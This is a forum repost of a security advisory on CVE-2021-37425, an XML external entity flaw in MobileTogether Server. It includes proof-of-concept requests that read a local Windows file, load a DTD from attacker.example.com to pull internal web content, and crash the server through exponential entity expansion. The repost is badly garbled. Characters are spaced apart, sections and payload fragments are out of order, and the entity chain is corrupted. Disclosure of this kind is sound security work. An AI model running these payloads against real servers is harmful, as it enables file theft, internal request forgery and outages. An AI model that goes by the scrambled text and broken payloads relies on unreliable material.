搜索

[29118] 2021-08-11_【漏洞利用】MobileTogetherServer中的XML外部实体扩展

文档创建者：s7ckTeam
浏览次数：78
最后更新：2025-01-19
2021-08-11_【漏洞利用】MobileTogetherServer中的XML外部实体扩展 【 漏 洞 利 用 】 M o b i l e T o g e t h e r   S e r v e r   中 的   X M L   外 部 实 体 扩 展 O t s 安 全   2 0 2 1 - 0 8 - 1 1 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 R e d T e a m   P e n t e s t i n g   在   M o b i l e T o g e t h e r   服 务 器 中 发 现 了 一 个 漏 洞 ， 该 漏 洞 允 许 访 问 至 少 一 个 应 用 程 序 的 用 户 从 文 件 系 统 中 读 取 任 意 非 二 进 制 文 件 并 执 行 服 务 器 端 请 求 。 该 漏 洞 还 可 用 于 拒 绝 系 统 的 可 用 性 。 例 如 ， 此 通 报 显 示 了 服 务 器 证 书 和 私 钥 的 泄 露 。 细 节 细 节 = = = = = = = = 产 品 ： M o b i l e T o g e t h e r   服 务 器 受 影 响 的 版 本 ： 7 . 0 - 7 . 3 ， 可 能 还 有 更 早 的 版 本 固 定 版 本 ： 7 . 3   S P 1 漏 洞 类 型 ： X M L   外 部 和 指 数 实 体 扩 展 安 全 风 险 ： 中 等 供 应 商 网 址 ： h t t p s : / / w w w . a l t o v a . c o m / m o b i l e t o g e t h e r - s e r v e r 供 应 商 状 态 ： 已 发 布 固 定 版 本 咨 询 网 址 ： h t t p s : / / w w w . r e d t e a m - p e n t e s t i n g . d e / a d v i s o r i e s / r t - s a - 2 0 2 1 - 0 0 2 咨 询 状 态 ： 已 发 布 C V E ： C V E - 2 0 2 1 - 3 7 4 2 5 C V E   网 址 ： h t t p s : / / c v e . m i t r e . o r g / c g i - b i n / c v e n a m e . c g i ? n a m e = C V E - 2 0 2 1 - 3 7 4 2 5 介 绍 介 绍 = = = = = = = = = = = = “ M o b i l e T o g e t h e r   S e r v e r   是 您 的 原 生   i O S 、 A n d r o i d 、 W i n d o w s   和 基 于 浏 览 器 的 应 用 程 序 的 处 理 强 国 。 M o b i l e T o g e t h e r   S e r v e r   是 您 解 决 方 案 的 后 端 中 心 ， 并 充 当 最 终 用 户 与 您 的 后 端 数 据 源 和 基 础 设 施 之 间 的 网 关 。 ” （ 来 自 供 应 商 的 主 页 ） 更 多 细 节 更 多 细 节 = = = = = = = = = = = = M o b i l e T o g e t h e r   S e r v e r   是 一 个 后 端 应 用 程 序 ， 托 管 开 发 的 应 用 程 序 并 提 供 对 各 种 平 台 和 设 备 的 访 问 。 可 以 通 过 设 备 和 操 作 系 统 的 本 机 应 用 程 序 或 直 接 通 过 浏 览 器 访 问 这 些 应 用 程 序 。 要 访 问   M o b i l e T o g e t h e r   服 务 器 ， 根 据 配 置 ， 可 以 匿 名 登 录 或 需 要 凭 据 。 在 分 析 智 能 手 机 上 的   M o b i l e T o g e t h e r   客 户 端 应 用 程 序 与   M o b i l e T o g e t h e r   服 务 器 之 间 的 通 信 期 间 ， 观 察 到 包 含   J S O N   和   X M L   数 据 的   H T T P   请 求 。 通 常 ， X M L   数 据 用 于 表 示   U I   中 的 更 改 或 用 户 为   M o b i l e T o g e t h e r   S e r v e r   中 托 管 的 应 用 程 序 提 供 的 输 入 。 发 现 描 述 的   H T T P   请 求 中 包 含 的 用 户 提 供 的   X M L   外 部 实 体 由   M o b i l e T o g e t h e r   服 务 器 解 析 ， 结 果 反 映 在   H T T P   响 应 中 。
此 行 为 允 许 读 取 本 地 文 件 、 执 行 服 务 器 端 请 求 并 通 过   X M L   指 数 实 体 扩 展 拒 绝 服 务 的 可 用 性 。 但 是 ， 文 件 公 开 仅 限 于 非 二 进 制 文 件 ， 需 要 提 前 知 道 绝 对 路 径 。 概 念 证 明 概 念 证 明 = = = = = = = = = = = = = = = = M o b i l e T o g e t h e r   S e r v e r   附 带 了 一 系 列 示 例 应 用 程 序 。 要 利 用 此 漏 洞 ， 至 少 需 要 访 问 一 个 应 用 程 序 。 下 面 以 应 用   E u r o F X r a t e s   和 默 认 用 户   r o o t 和 默 认 密 码   r o o t   来 演 示 漏 洞 。 以 下   H T T P   请 求 包 含 服 务 器 接 受 所 需 的 最 少 数 据 ， 导 致 处 理 存 储 在   J S O N   字 段   I n f o S e t C h a n g e s / C h a n g e s   中 的   X M L   数 据 （ 格 式 化 以 提 高 可 读 性 ） ： - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   - - - - - - - - - - - - - - - P O S T   / w o r k f l o w m a n a g e m e n t   H T T P / 1 . 1 A u t h o r i z a t i o n :   B a s i c   c m 9 v d D p y b 2 9 0 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   8 5 1 H o s t :   1 9 2 . 1 6 8 . 1 . 1 : 8 0 8 5 C o n n e c t i o n :   c l o s e { " D e v i c e Y " :   0 , " C l i e n t V e r s i o n N a m e " :   " 7 . 2 . 2 " , " M o b i l e M a n u f a c t u r e r " :   " " , " A l l I n f o s e t s S e r i a l i z e d " :   t r u e , " S e r v e r N a m e " :   " 1 9 2 . 1 6 8 . 1 . 1 " , " P r o t o c o l V e r s i o n M a x " :   " 2 " , " L a n g u a g e " :   " e n - U S " , " D e v i c e T y p e " :   " " , " C l i e n t K e y " :   " 1 _ 1 1 1 4 8 0 0 9 0 3 7 0 8 6 5 8 4 9 0 3 _ 2 7 4 4 7 3 8 4 3 3 6 6 3 9 6 3 4 5 8 " , " D e v i c e X D P I " :   0 , " D e v i c e Y D P I " :   0 , " D e v i c e Y C a n v a s W i t h T a b s " :   0 , " C l i e n t A r c h i v e V e r s i o n U U I D " :   " { C 0 2 2 C 8 D 8 - 8 B 2 B - 4 D 4 5 - B D 0 0 - 0 D B 9 4 2 5 0 9 E A 3 } " , " P r o t o c o l V e r s i o n M i n " :   " 2 " , " D e v i c e X C a n v a s " :   0 , " C l i e n t A r c h i v e V e r s i o n M i n " :   " - 7 4 " , " M o b i l e O S V e r s i o n " :   " A n d r o i d   1 1 " , " D e v i c e X C a n v a s W i t h T a b s " :   0 , " C l i e n t A r c h i v e V e r s i o n M a x " :   " 6 5 " ,
随 着 在   X M L   数 据 之 后 ， 可 以 验 证   X M L   实 体 是 否 在   H T T P   响 应 中 的 预 定 义   X M L   标 记 中 得 到 解 析 和 反 映 ： H T T P   响 应 包 含 解 析 的   X M L   实 体 ： " U s e r " :   " r o o t " , " D e v i c e X " :   0 , " D e s i g n F i l e N a m e " :   " / p u b l i c / E u r o F X r a t e s " , " E n c V a l u e " :   " M 9 E B c 6 - 7 P 5 c d 0 " , " D e v i c e Y C a n v a s " :   0 , " M o b i l e I D " :   " 5 b 3 9 e d d 9 - 2 5 3 3 - 4 a 6 1 - a e 6 6 - b 9 0 6 8 9 3 c 5 4 1 2 " , " I n f o s e t C h a n g e s " :   [         { " C h a n g e s " :   [                 { " " :   " < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? >                               < R o o t >                                   < S k i p I n t r o > f a l s e < / S k i p I n t r o >                               < / R o o t > "                 }             ] , " I D " :   " $ $ P E R S $ $ "         }     ] , " D e v i c e I s P o r t r a i t " :   t r u e } < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   R o o t   [   < ! E N T I T Y   r e d t e a m   " R e d T e a m   P e n t e s t i n g " >   ] > < R o o t > < R e d T e a m > & r e d t e a m ; < / R e d T e a m > < / R o o t > H T T P / 1 . 1   2 0 0   O K C o n t e n t - T y p e :   t e x t / h t m l ; c h a r s e t = u t f - 8 S e r v e r :   C h e r r y P y / 1 8 . 1 . 0 [ . . . ] [ . . . ] < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < R o o t >
以 下 示 例 显 示 了 如 何 从 在   W i n d o w s   系 统 上 托 管   M o b i l e T o g e t h e r   S e r v e r   的 服 务 器 系 统 读 取 本 地 文 件 ： 的 文 件 内 容 如 下 所 示 ， 并 进 行 了 格 式 化 以 提 高 可 读 性 ： 攻 击 者 的 一 个 有 趣 目 标 可 能 是 位 于 以 下 固 定 位 置 的   M o b i l e T o g e t h e r   服 务 器 的 配 置 文 件 ： 例 如 ， 如 果 服 务 器 支 持 H T T P S ， 则 服 务 器 证 书 的 绝 对 路 径 私 钥 存 储 在 其 配 置 中 。 此 外 ， 外 部   X M L   实 体 可 用 于 访 问 第 三 方 网 站 以 及 仅 在 内 部 可 用 的   W e b   服 务 。 与 外 部 托 管 的   X M L   D T D   一 起 ， 可 以 提 取 响 应 信 息 ： < R o o t > < R e d T e a m > R e d T e a m   P e n t e s t i n g < / R e d T e a m > [ . . . ] < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   R o o t   [   < ! E N T I T Y   r e d t e a m   S Y S T E M   " f i l e : / / c   : / w i n d o w s / w i n . i n i " >   ] > < R o o t > < R e d T e a m > & r e d t e a m ; < / R e d T e a m > < / R o o t > H T T P / 1 . 1   2 0 0   O K C o n t e n t - T y p e :   t e x t / h t m l ; c h a r s e t = u t f - 8 S e r v e r :   C h e r r y P y / 1 8 . 1 . 0 [ . . . ] [ . . . ] < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < R o o t > < R e d T e a m >         ;   f o r   1 6 - b i t   a p p   s u p p o r t         [ f o n t s ]         [ e x t e n s i o n s ]         [ m c i   e x t e n s i o n s ]         [ f i l e s ]         [ M a i l ]         M A P I = 1 < / R e d T e a m > [ . . . ] C : P r o g r a m D a t a A l t o v a M o b i l e T o g e t h e r S e r v e r m o b i l e t o g e t h e r s e r v e r . c f g < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8   " ? > < ! D O C T Y P E   r o o t   [  
D T D   包 含 以 下 信 息 ： 在   H T T P   响 应 中 ， i n t e r n a l . e x a m p l e . c o m   提 供 的   H T M L   标 记 现 在 可 见 。 另 一 个 漏 洞 通 过   X M L   指 数 实 体 扩 展 攻 击 服 务 的 可 用 性 。 发 送 显 示 的   X M L   文 档 会 导 致 巨 大 的 服 务 器 端 资 源 分 配 ， 这 最 终 会 破 坏   M o b i l e T o g e t h e r   服 务 器 的 可 用 性 。 解 决 方 法 解 决 方 法 = = = = = = = = = = 未 知 。 修 复 修 复 = = = = = = = = = = 根 据 供 应 商 的 说 法 ， 升 级 到 版 本   7 . 3   S P 1   可 以 解 决 该 漏 洞 。 < ! E N T I T Y   %   s t a r t   " < ! [ C D A T A [ " >   < ! E N T I T Y   %   c o n t e n t   S Y S T E M   " h t t p : / / i n t e r n a l . < ! E N T I T Y   %   e n d   " ] ] > " >   < ! E N T I T Y   %   d t d   S Y S T E M   " h t t p : / / a t t a c k e r . e x a m p l e . c o m / d t d . x m l " >   %   d t d ;   ] >   < R o o t > < R e d T e a m > & r e d t e a m ; < / R e d T e a m > < / R o o t > < ! E N T I T Y   r e d t e a m   " % s t a r t ; % c o n t e n t ; % e n d ; " > & r e d t e a m 7 ; " >   < ! E N T I T Y   r e d t e a m 9   " & r e d t e a m 8 ;   & r e d t e a m 8 ; " > < ! E N T I T Y   r e d t e a m 1 0   " & r e d t e a m 9 ;   & r e d t e a m 9 ; " > < ! E N T I T Y   r e d t e a m 1 1   " & r e d t e a m 1 0 ;   & r e d t e a m 1 0 ; " > < ! E N T I T Y   r e d t e a m 1 2   " & r e d t e a m 1 1 ;   & r e d t e a m 1 1 ; " > < ! E N T I T Y   r e d t e a m 1 3   " & r e d t e a m 1 2 ;   & r e d t e a m 1 2 ; " > < ! E N T I T Y   r e d t e a m 1 4   " & r e d t e a m 1 3 ;   & r e d t e a m 1 3 ; " > < ! E N T I T Y   r e d t e a m 1 5   " & r e d t e a m 1 4 ;   & r e d t e a m 1 4 ; " > < ! E N T I T Y   & r e d t e a m 1 5 6   "   ; ＆ r e d t e a m 1 5 ; “ > < E N T I T Y   r e d t e a m 1 7 ！ ” ＆ r e d t e a m 1 6 ; ＆ r e d t e a m 1 6 ; “ > < E N T I T Y   r e d t e a m 1 8 ！ ” ＆ r e d t e a m 1 7 ; ＆ r e d t e a m 1 7 ; “ > < E N T I T Y   r e d t e a m 1 9 ！ ” ＆ r e d t e a m 1 8 ; ＆ r e d t e a m 1 8 ; “ > < E N T I T Y   r e d t e a m 2 0 ！ ” ＆ r e d t e a m 1 9 ; ＆ r e d t e a m 1 9 ; “ > ]   >   < R o o t > < R e d T e a m > & r e d t e a m 2 0 ; < / R e d T e a m > < / R o o t >
安 全 风 险 安 全 风 险 = = = = = = = = = = = = = = 拥 有   M o b i l e T o g e t h e r   服 务 器 帐 户 且 至 少 可 以 访 问 一 个 应 用 程 序 的 攻 击 者 能 够 从 服 务 器 系 统 读 取 文 件 ， 向 外 部 和 内 部 系 统 发 出   H T T P   请 求 并 且 还 可 以 拒 绝 服 务 的 可 用 性 。 也 可 以 通 过 默 认 凭 据 或 匿 名 用 户 进 行 访 问 。 时 间 线 时 间 线 = = = = = = = =   2 0 2 1 - 0 6 - 2 1   漏 洞 确 定 2 0 2 1 - 0 6 - 2 3   要 求 供 应 商 2 0 2 1 - 0 6 - 2 5 与 供 应 商 建 立 安 全 联 系 2 0 2 1 - 0 7 - 0 5   客 户 批 准 向 供 应 商 披 露 2 0 2 1 - 0 7 - 0 5   供 应 商 通 知 2 0 2 1 - 0 7 - 2 0   供 应 商 承 认 漏 洞 2 0 2 1 - 0 7 -   2 2   请 求 C V E   I D   2 0 2 1 - 0 7 - 2 3 分 配   C V E   I D   2 0 2 1 - 0 7 - 2 8   供 应 商 发 布 修 复 版 本 2 0 2 1 - 0 8 - 1 0   发 布 公 告 公 告   R e d T e a m   P e n t e s t i n g   G m b H   = = = = = = = = = = = = = = = = = =   = = = =   R e d T e a m   P e n t e s t i n g   提 供 由 专 业   I T   安 全 专 家 团 队 执 行 的 个 人 渗 透 测 试 。 因 此 ， 可 以 发 现 公 司 网 络 或 产 品 中 的 安 全 漏 洞 并 立 即 修 复 。 由 于 该 领 域 的 专 家 很 少 ， 因 此   R e d T e a m   P e n t e s t i n g   希 望 通 过 安 全 相 关 领 域 的 研 究 来 分 享 其 知 识 并 增 强 公 众 知 识 。 结 果 将 作 为 公 共 安 全 建 议 提 供 。 有 关   R e d T e a m   P e n t e s t i n g   的 更 多 信 息 ， 请 访 问 ： h t t p s   : / / w w w . r e d t e a m - p e n t e s t i n g . d e /   在   R e d T e a m   P e n t e s t i n g   工 作 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理